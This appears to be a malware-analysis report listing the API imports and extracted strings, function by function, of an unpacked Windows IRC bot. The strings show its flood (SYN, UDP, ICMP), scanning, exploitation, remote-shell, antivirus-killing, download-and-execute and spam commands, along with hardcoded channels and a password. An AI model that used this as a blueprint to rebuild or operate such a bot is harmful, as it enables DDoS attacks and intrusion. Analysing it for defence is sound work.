</font></pre></td></tr><tr id="sub_405277"><td><pre><a name="sub_405277"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405277"><font size=+2>sub_405277</a>(be57)</font>:<font color=brown>
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"[MAIN]: DLL test complete."
</font></pre></td></tr><tr id="sub_41318A"><td><pre><a name="sub_41318A"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41318A"><font size=+2>sub_41318A</a>(bec6)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_4057CD"><td><pre><a name="sub_4057CD"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4057CD"><font size=+2>sub_4057CD</a>(bf1a)</font>:<font color=darkgreen>
	USER32.FindWindowA
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	USER32.SendMessageA
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle</font>
<font color=brown>
	"mIRC"
</font></pre></td></tr><tr id="sub_41AF01"><td><pre><a name="sub_41AF01"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41AF01"><font size=+2>sub_41AF01</a>(bf7b)</font>:<font color=darkgreen>
	KERNEL32.GetStringTypeW
	NTDLL.RtlGetLastWin32Error
	KERNEL32.MultiByteToWideChar
	KERNEL32.GetStringTypeA</font>
<font color=brown></font></pre></td></tr><tr id="sub_416901"><td><pre><a name="sub_416901"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416901"><font size=+2>sub_416901</a>(c36e)</font>:<font color=darkgreen>
	NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_401D45"><td><pre><a name="sub_401D45"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401D45"><font size=+2>sub_401D45</a>(c485)</font>:<font color=darkgreen>
	KERNEL32.ExitThread</font>
<font color=brown>
	"[LOG]: Begin"
	"[LOG]: List complete."
</font></pre></td></tr><tr id="sub_41686D"><td><pre><a name="sub_41686D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41686D"><font size=+2>sub_41686D</a>(c70d)</font>:<font color=darkgreen>
	NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_40668A"><td><pre><a name="sub_40668A"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40668A"><font size=+2>sub_40668A</a>(c76a)</font>:<font color=brown>
	"[NET]: Error with service: '%s'. %s"
	"[NET]: %s: No	service	specified."
</font></pre></td></tr><tr id="sub_40649E"><td><pre><a name="sub_40649E"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40649E"><font size=+2>sub_40649E</a>(c864)</font>:<font color=brown>
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."
</font></pre></td></tr><tr id="sub_402B1D"><td><pre><a name="sub_402B1D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_402B1D"><font size=+2>sub_402B1D</a>(c887)</font>:<font color=brown>
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"[FTP]: File transfer complete	to IP: %s"...
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye.\n"
</font></pre></td></tr><tr id="sub_40E00D"><td><pre><a name="sub_40E00D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E00D"><font size=+2>sub_40E00D</a>(ca7a)</font>:<font color=darkgreen>
	WS2_32.select
	WS2_32.closesocket
	WSOCK32.recv
	WS2_32.getpeername
	WS2_32.WSAGetLastError
	WS2_32.gethostbyaddr
	WS2_32.inet_ntoa
	WS2_32.send
	NTDLL.RtlGetLastWin32Error
	KERNEL32.ExitThread</font>
<font color=brown>
	"[RLOGIND]: Error: getpeername(): <%d>."
	"Permission denied\n"
	"[RLOGIND]: User logged in: <%s@%s>."
	"[RLOGIND]: Error: SessionRun(): <%d>."
	"[RLOGIND]: User logged out: <%s@%s>."
</font></pre></td></tr><tr id="sub_413AD5"><td><pre><a name="sub_413AD5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_413AD5"><font size=+2>sub_413AD5</a>(cba9)</font>:<font color=darkgreen>
	NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_401505"><td><pre><a name="sub_401505"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401505"><font size=+2>sub_401505</a>(cc12)</font>:<font color=darkgreen>
	WS2_32.ntohl</font>
<font color=brown></font></pre></td></tr><tr id="sub_41046C"><td><pre><a name="sub_41046C"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41046C"><font size=+2>sub_41046C</a>(cc61)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.WSAGetLastError
	WSOCK32.setsockopt
	WS2_32.inet_addr
	WS2_32.ntohs
	WS2_32.ntohl
	WS2_32.sendto
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown>
	"[TCP]: Error:	socket() failed, returned"...
	"[TCP]: Error:	setsockopt() failed, retu"...
	"[TCP]: Invalid target	IP."
	"syn"
	"ack"
	"random"
	"[TCP]: Done with %s flood to IP: %s. Se"...
	"[TCP]: Error sending packets to IP: %s."...
</font></pre></td></tr><tr id="sub_40F147"><td><pre><a name="sub_40F147"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F147"><font size=+2>sub_40F147</a>(cd6d)</font>:<font color=darkgreen>
	WS2_32.send
	KERNEL32.ReadFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
	"[RLOGIND]: SessionReadShellThread exite"...
</font></pre></td></tr><tr id="sub_401CD3"><td><pre><a name="sub_401CD3"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401CD3"><font size=+2>sub_401CD3</a>(ce8a)</font>:<font color=brown>
	"[LOGS]: Cleared."
</font></pre></td></tr><tr id="sub_404249"><td><pre><a name="sub_404249"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_404249"><font size=+2>sub_404249</a>(d10a)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.WSAGetLastError
	WSOCK32.setsockopt
	WS2_32.inet_addr
	WS2_32.ntohs
	KERNEL32.GetTickCount
	WS2_32.sendto
	WS2_32.closesocket
	KERNEL32.ExitThread</font>
<font color=brown>
	"[ICMP]: Error: socket() failed, returne"...
	"[ICMP]: Error: setsockopt() failed, ret"...
	"[ICMP]: Invalid target IP."
	"[ICMP]: Done with %s flood to	IP: %s.	S"...
	"[ICMP]: Error	sending	packets	to IP: %s"...
</font></pre></td></tr><tr id="sub_401E73"><td><pre><a name="sub_401E73"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401E73"><font size=+2>sub_401E73</a>(d18b)</font>:<font color=darkgreen>
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey</font>
<font color=brown>
	"Network Host Service"
</font></pre></td></tr><tr id="sub_419E4A"><td><pre><a name="sub_419E4A"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_419E4A"><font size=+2>sub_419E4A</a>(d1c0)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetStdHandle
	KERNEL32.WriteFile</font>
<font color=brown>
	"<program name	unknown>"
	"..."
	"Runtime Error!\n\nProgram: "
	"\n\n"
	"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_414460"><td><pre><a name="sub_414460"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_414460"><font size=+2>sub_414460</a>(d31f)</font>:<font color=darkgreen>
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_416673"><td><pre><a name="sub_416673"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_416673"><font size=+2>sub_416673</a>(d432)</font>:<font color=darkgreen>
	NTDLL.RtlEnterCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_4166C5"><td><pre><a name="sub_4166C5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4166C5"><font size=+2>sub_4166C5</a>(d432)</font>:<font color=darkgreen>
	NTDLL.RtlLeaveCriticalSection</font>
<font color=brown></font></pre></td></tr><tr id="sub_4069A9"><td><pre><a name="sub_4069A9"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4069A9"><font size=+2>sub_4069A9</a>(d43c)</font>:<font color=brown>
	"Username accounts for	local system:"
	"[NET]: User list error: %s <%ld>"
	"  %S"
	"[NET]: An access violation has occured."...
	"Total	users found: %d."
</font></pre></td></tr><tr id="sub_4038B7"><td><pre><a name="sub_4038B7"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4038B7"><font size=+2>sub_4038B7</a>(d71e)</font>:<font color=darkgreen>
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.connect
	WS2_32.send
	WSOCK32.recv
	WS2_32.closesocket
	WS2_32.WSACleanup</font>
<font color=brown>
	"%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_410FD3"><td><pre><a name="sub_410FD3"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_410FD3"><font size=+2>sub_410FD3</a>(dbdf)</font>:<font color=darkgreen>
	KERNEL32.TerminateThread
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_404592"><td><pre><a name="sub_404592"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_404592"><font size=+2>sub_404592</a>(dc5c)</font>:<font color=darkgreen>
	WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_4078FA"><td><pre><a name="sub_4078FA"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_4078FA"><font size=+2>sub_4078FA</a>(dce1)</font>:<font color=darkgreen>
	WS2_32.WSAStartup
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.connect
	WSOCK32.recv
	WS2_32.send
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	WS2_32.inet_addr
	WS2_32.inet_ntoa
	KERNEL32.Sleep
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA
	KERNEL32.SetFileAttributesA
	KERNEL32.DeleteFileA
	WS2_32.gethostbyaddr
	SHELL32.ShellExecuteA
	KERNEL32.TerminateThread
	WS2_32.getsockname
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	DNSAPI.DnsFlushResolverCache
	KERNEL32.GetTickCount
	KERNEL32.ExitProcess</font>
<font color=brown>
	" :"
	" "
	"!"
	"PING"
	"PONG	%s\r\n"
	"JOIN %s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"[MAIN]: User %s logged out."
	"NOTICE %s :%s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"[MAIN]: User:	%s logged out."
	"NOTICE %s :%s\r\n"
	"[MAIN]: Joined channel: %s."
	"PRIVMSG"
	"NOTICE"
	"login"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	")"
	"63"
	" "
	"rndnick"
	"rn"
	"die"
	"d"
	"logout"
	"lo"
	"version"
	"ver"
	"secure"
	"sec"
	"unsec"
	"socks4"
	"s4"
	"socks4stop"
	"Server"
	"[SOCKS4]"
	"rloginstop"
	"Server"
	"[RLOGIND]"
	"Server"
	"[HTTPD]"
	"logstop"
	"Log list"
	"[LOG]"
	"redirectstop"
	"TCP redirect"
	"[REDIRECT]"
	"ddos.stop"
	"DDoS flood"
	"[DDoS]"
	"synstop"
	"Syn	flood"
	"[SYN]"
	"udpstop"
	"UDP	flood"
	"[UPD]"
	"Ping flood"
	"[PING]"
	"ICMP flood"
	"[ICMP]"
	"tcpstop"
	"TCP	flood"
	"Server"
	"[TFTP]"
	"procsstop"
	"psstop"
	"clonestop"
	"Clone"
	"[CLONES]"
	"securestop"
	"Secure"
	"[SECURE]"
	"Scan"
	"[SCAN]"
	"scanstats"
	"stats"
	"reconnect"
	"r"
	"disconnect"
	"dc"
	"quit"
	"q"
	"status"
	"s"
	"id"
	"i"
	"reboot"
	"[MAIN]: Rebooting system."
	"[MAIN]: Failed to reboot	system."
	"threads"
	"t"
	"aliases"
	"al"
	"log"
	"lg"
	"clg"
	"netinfo"
	"ni"
	"sysinfo"
	"si"
	"destroy"
	"erradicate"
	"procs"
	"ps"
	"uptime"
	"up"
	"driveinfo"
	"drv"
	"dll"
	"opencmd"
	"ocmd"
	"cmdstop"
	"Remote shell"
	"[CMD]"
	"who"
	"-[Login List]-"
	"<Empty>"
	"%d. %s"
	"[MAIN]: Login	list complete."
	"advscan"
	"asc"
	"udp"
	"u"
	"pingflood"
	"ping"
	"p"
	"tcp"
	"email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"[EMAIL]: Message sent	to %s."
	"getclip"
	"gc"
	"farp"
	"fdns"
	"currentip"
	"cip"
	"rloginserver"
	"rlogin"
	"httpserver"
	"http"
	"tftpserver"
	"tftp"
	"scanall"
	"sa"
	"nick"
	"n"
	"join"
	"j"
	"part"
	"pt"
	"raw"
	"r"
	"killthread"
	"k"
	"c_quit"
	"c_q"
	"c_rndnick"
	"c_rn"
	"prefix"
	"pr"
	"open"
	"o"
	"server"
	"se"
	"dns"
	"dn"
	"kp"
	"killdelproc"
	"kdp"
	"kill"
	"ki"
	"delete"
	"del"
	"list"
	"li"
	"mirccmd"
	"mirc"
	"cmd"
	"cm"
	"rf"
	"net"
	"[NET]: Failed	to load	advapi32.dll or	n"...
	"start"
	"%s"
	"[NET]: Service list completed."
	"[NET]: Service list failed."
	"stop"
	"pause"
	"delete"
	"share"
	"%s"
	"[NET]: Share list completed."
	"[NET]: Share list failed."
	"user"
	"%s"
	"[NET]: User list completed."
	"[NET]: User list failed."
	"send"
	"%s"
	"[NET]: No message specified."
	"[NET]: Command unknown."
	"gethost"
	"gh"
	"avfwkiller"
	"start"
	"[AVFW]: AV/FW/BOT Killer active."
	"Killer Thread"
	"[AVFW]"
	"[AVFW]: Failed to start AV/FW	killer th"...
	"stop"
	"Killer Thread"
	"[AVFW]"
	"aa"
	"privmsg"
	"pm"
	"action"
	"a"
	"cycle"
	"cy"
	"mode"
	"m"
	"c_raw"
	"c_r"
	"c_mode"
	"c_m"
	"c_nick"
	"c_n"
	"c_join"
	"c_j"
	"c_part"
	"c_p"
	"repeat"
	"rp"
	"delay"
	"de"
	"update"
	"up"
	"execute"
	"e"
	"rename"
	"mv"
	"icmpflood"
	"icmp"
	"clone"
	"c"
	"dl"
	"rd"
	"scan"
	"sc"
	"c_privmsg"
	"c_pm"
	"[%s]	* %s %s"
	"[%s]	<%s> %s"
	"[SCAN]: Port scan started: %s:%d with	d"...
	"[SCAN]: Failed to start scan thread, er"...
	"[REDIRECT]: TCP redirect created from: "...
	"[REDIRECT]: Failed to	start redirection"...
	"[DOWNLOAD]: Downloading URL: %s to: %s."...
	"[DOWNLOAD]: Failed to	start transfer th"...
	"[CLONES]: Created on %s:%d, in channel "...
	"[CLONES]: Failed to start clone thread,"...
	"[ICMP]: Flooding: (%s) for %s	seconds."
	"[ICMP]: Failed to start flood	thread,	e"...
	"[ICMP]: Invalid flood	time must be grea"...
	"[FILE]: Rename: '%s' to: '%s'."
	"[FILE]:"
	"[EXEC]: Couldn't execute file."
	"Bot018"
	"%s%s.exe"
	"[UPDATE]: Downloading	update from: %s."
	"[UPDATE]: Failed to start download thre"...
	"[UPDATE]: Up to Date"
	"%s %s %s :%s"
	"[MAIN]: Delay."
	"repeat"
	"%s %s %s :%s"
	"[MAIN]: Repeat: %s"
	"[MAIN]: Repeat not allowed in	command	l"...
	"PART	%s"
	"%s\r\n"
	"JOIN	%s %s"
	"NICK	%s"
	"%s\r\n"
	"[CLONE]:	Nick (%s): %s"
	"MODE	%s"
	"%s\r\n"
	"[CLONE]:	Mode (%s): %s"
	"%s\r\n"
	"[CLONE]: Raw (%s): %s"
	"MODE	%s\r\n"
	"[MAIN]: Mode change: %s"
	"PART	%s\r\n"
	"JOIN %s %s\r\n"
	"[MAIN]: Cycle."
	"[MAIN]: Privmsg: %s: %s."
	"[MAIN]: Alias	added: %s."
	"%s %s %s :%s"
	"[MAIN]: Gethost: %s, Command:	%s"
	"[MAIN]: Unable to extract Gethost comma"...
	"r"
	"[MAIN]: Read file complete: %s"
	"[MAIN]: Read file failed: %s"
	"\n"
	"[CMD]: Error sending to remote shell."
	"[CMD]: Commands: %s"
	"[mIRC]: Client not open."
	"[mIRC]: Command sent."
	"[FILE]: List: %s"
	"[FILE]: Deleted '%s'."
	"[FILE]:"
	"[PROC]: Process killed ID: %s"
	"[PROC]: Failed to terminate process ID:"...
	"[PROC]: Process killed & deleted: %s"
	"[PROC]: Process killed: %s"
	"[PROC]: Failed to terminate process: %s"...
	"[DNS]: Lookup: %s -> %s."
	"[DNS]: Couldn't resolve hostname."
	"[MAIN]: Server changed to: '%s'."
	"open"
	"[SHELL]: File	opened:	%s"
	"[SHELL]: Couldn't open file: %s"
	"[MAIN]: Prefix changed to: '%c'."
	"NICK	%s"
	"QUIT :later\r\n"
	"all"
	"[THREADS]: Stopped: %d thread(s)."
	"[THREADS]: No	active threads found."
	"[THREADS]: Killed thread: %s."
	"[THREADS]: Failed to kill thread: %s."
	"%s\r\n"
	"[MAIN]:	IRC Raw: %s."
	"PART	%s\r\n"
	"[MAIN]: Parted channel: '%s'."
	"JOIN %s %s\r\n"
	"[MAIN]: Joined channel: '%s'."
	"NICK	%s\r\n"
	"[MAIN]: Nick changed to: '%s'."
	"[SCAN]: Already %d scanning threads. To"...
	"#murders"
	"Random"
	"Sequential"
	"[SCAN]: %s Port Scan started on %s:%d	w"...
	"[SCAN]: Failed to start scan thread, er"...
	"[SCAN]: Failed to start scan,	port is	i"...
	"[TFTP]: Already running."
	"[TFTP]: Server started on Port: %d, Fil"...
	"[TFTP]: Failed to start server thread, "...
	"[HTTPD]: Server listening on IP: %s:%d,"...
	"[HTTPD]: Failed to start server thread,"...
	"[RLOGIND]: Server listening on IP: %s:%"...
	"[RLOGIND]: Failed to start server threa"...
	"[FLUSHDNS]: DNS cache	flushed."
	"[FLUSHDNS]: Failed to	flush DNS cache."
	"[FLUSHDNS]: Failed to	load dnsapi.dll."
	"[FLUSHDNS]: ARP cache	flushed."
	"[FLUSHDNS]: Failed to	flush ARP cache."
	"[MAIN]: Get Clipboard."
	"[CMD]: Remote	shell already running."
	"[CMD]: Couldn't open remote shell."
	"[CMD]: Remote	shell ready."
	"[MAIN]:	Uptime:	%s."
	"[PROC]: Already running."
	"full"
	"[PROCS]: Proccess list."
	"[PROCS]: Failed to start listing thread"...
	"n3m3s1s"
	"[MAIN]: Removing Bot."
	"[MAIN]: System Info."
	"[MAIN]: Network Info."
	"%s"
	"[LOG]: Listing log."
	"[LOG]: Failed	to start listing thread, "...
	"[MAIN]: Alias	list."
	"sub"
	"[THREADS]: List threads."
	"[THREADS]: Failed to start list thread,"...
	"Bot018"
	"[MAIN]: Bot ID: %s."
	"[MAIN]: Status: Ready. Bot Uptime: %s."
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"[MAIN]: Disconnecting."
	"QUIT :reconnecting\r\n"
	"[MAIN]: Reconnecting."
	"Process list"
	"[PROC]"
	"[SOCKS4]: Server started on: %s:%d."
	"[SOCKS4]: Failed to start server thread"...
	"secure"
	"sec"
	"Unsecuring"
	"[SECURE]: %s system."
	"[SECURE]: Failed to start secure thread"...
	"[Bot 0.018]"
	"[MAIN]: %s"
	"[MAIN]: User %s logged out."
	"[MAIN]: No user logged in at slot: %d."
	"[MAIN]: Invalid login	slot number: %d."
	"[MAIN]: User %s logged out."
	"httpcon"
	"hcon"
	"upload"
	"[FTP]: File not found: %s."
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"[FTP]: Uploading file: %s to:	%s"
	"[FTP]: Uploading file: %s to:	%s failed"...
	"syn"
	"ack"
	"[TCP]: Invalid flood type specified."
	"Spoofed"
	"Normal"
	"[TCP]: %s %s flooding: (%s:%s) for %s	s"...
	"[TCP]: Failed	to start flood thread, er"...
	"[TCP]: Invalid flood time must be great"...
	"[PING]: Sending %d pings to %s. packet "...
	"[PING]: Failed to start flood	thread,	e"...
	"ICMP.dll not available"
	"[UDP]: Sending %d packets to:	%s. Packe"...
	"[UDP]: Failed	to start flood thread, er"...
	"[SCAN]: Already %d scanning threads. To"...
	"[SCAN]: Failed to start scan,	port is	i"...
	"Stopping previous scans"
	"[SCAN]"
	"[SCAN]: Failed to start scan,	no IP spe"...
	"#murders"
	"Random"
	"Sequential"
	"[SCAN]: %s Port Scan started on %s:%d	w"...
	"[SCAN]: Failed to start scan thread, er"...
	"NICK	%s\r\n"
	"[MAIN]: Random nick change: %s"
	"!"
	"~"
	"n3m3s1s"
	"NOTICE %s :Pass auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"[MAIN]: *Failed pass auth by:	(%s!%s)."
	"NOTICE %s :Host Auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"[MAIN]: *Failed host auth by:	(%s!%s)."
	"n3m3s1s"
	"[MAIN]: Password accepted."
	"[MAIN]: User:	%s logged in."
	"USERHOST %s\r\n"
	"+ix"
	"MODE	%s %s\r\n"
	"JOIN %s %s\r\n"
</font></pre></td></tr><tr id="sub_40D1EF"><td><pre><a name="sub_40D1EF"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40D1EF"><font size=+2>sub_40D1EF</a>(e1b4)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CopyFileA
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	KERNEL32.DeleteFileA
	KERNEL32.CreateThread
	WININET.InternetGetConnectedState</font>
<font color=brown>
	"Bot018"
	"%s%s"
	"%s\\%s"
	"%s %d \"%s\""
	"[MAIN]: Bot started."
	"[SECURE]: System secure monitor active."...
	"[SECURE]: Failed to start secure thread"...
	"#hell"
	"troopers"
	"#hell"
	"troopers"
	"troopers"
</font></pre></td></tr><tr id="sub_41E0A1"><td><pre><a name="sub_41E0A1"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41E0A1"><font size=+2>sub_41E0A1</a>(e1f4)</font>:<font color=brown>
	"1#SNAN"
	"1#IND"
	"1#INF"
	"1#QNAN"
</font></pre></td></tr><tr id="sub_40E70F"><td><pre><a name="sub_40E70F"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40E70F"><font size=+2>sub_40E70F</a>(e423)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount
	USER32.FindWindowA</font>
<font color=brown>
	"mIRC"
	"[M]"
	"[%d]%s"
	"[M]"
</font></pre></td></tr><tr id="sub_40F07B"><td><pre><a name="sub_40F07B"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F07B"><font size=+2>sub_40F07B</a>(e4b4)</font>:<font color=darkgreen>
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown>
	"cmd /q"
	"[RLOGIND]: Failed to execute shell, err"...
</font></pre></td></tr><tr id="sub_40707D"><td><pre><a name="sub_40707D"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40707D"><font size=+2>sub_40707D</a>(e6ee)</font>:<font color=darkgreen>
	KERNEL32.GetCurrentProcess
	ADVAPI32.OpenProcessToken
	ADVAPI32.LookupPrivilegeValueA
	ADVAPI32.AdjustTokenPrivileges
	KERNEL32.CloseHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41CDFD"><td><pre><a name="sub_41CDFD"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_41CDFD"><font size=+2>sub_41CDFD</a>(eaec)</font>:<font color=darkgreen>
	KERNEL32.IsBadCodePtr</font>
<font color=brown></font></pre></td></tr><tr id="sub_402795"><td><pre><a name="sub_402795"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_402795"><font size=+2>sub_402795</a>(eb43)</font>:<font color=darkgreen>
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_411235"><td><pre><a name="sub_411235"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_411235"><font size=+2>sub_411235</a>(ecd7)</font>:<font color=darkgreen>
	WS2_32.socket
	WS2_32.ntohs
	WS2_32.inet_addr
	WS2_32.closesocket
	WS2_32.send
	WSOCK32.recv</font>
<font color=brown>
	"SEARCH /"
	" HTTP/1.1\r\n"
	"<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
	"Host:	%s\r\nContent-Type: text/xml\r\nConte"...
	"[%s]:	Exploiting IP: %s."
</font></pre></td></tr><tr id="sub_405DC5"><td><pre><a name="sub_405DC5"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_405DC5"><font size=+2>sub_405DC5</a>(ed42)</font>:<font color=darkgreen>
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle</font>
<font color=brown>
	"The following	Windows	services are regi"...
	"	 Unknown"
	"	 Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_401141"><td><pre><a name="sub_401141"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_401141"><font size=+2>sub_401141</a>(edd4)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.GetTickCount
	KERNEL32.Sleep</font>
<font color=brown>
	"[TFTP]: Server started on Port: %d, Fil"...
	"[TFTP]: Failed to start server, error: "...
	"[FTP]: Server	started	on: %s:%d, File: "...
	"[FTP]: Failed	to start server, error:	<"...
	"[HTTPD]: Server listening on IP: %s:%d,"...
	"[HTTPD]: Failed to start server, error:"...
</font></pre></td></tr><tr id="sub_40F7FD"><td><pre><a name="sub_40F7FD"></a><a href="96960db2deed320d7bb3dbff0840c539_unpacked.asm.html#sub_40F7FD"><font size=+2>sub_40F7FD</a>(eec4)</font>:<font color=darkgreen>
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WSOCK32.recv
	WS2_32.send</font>
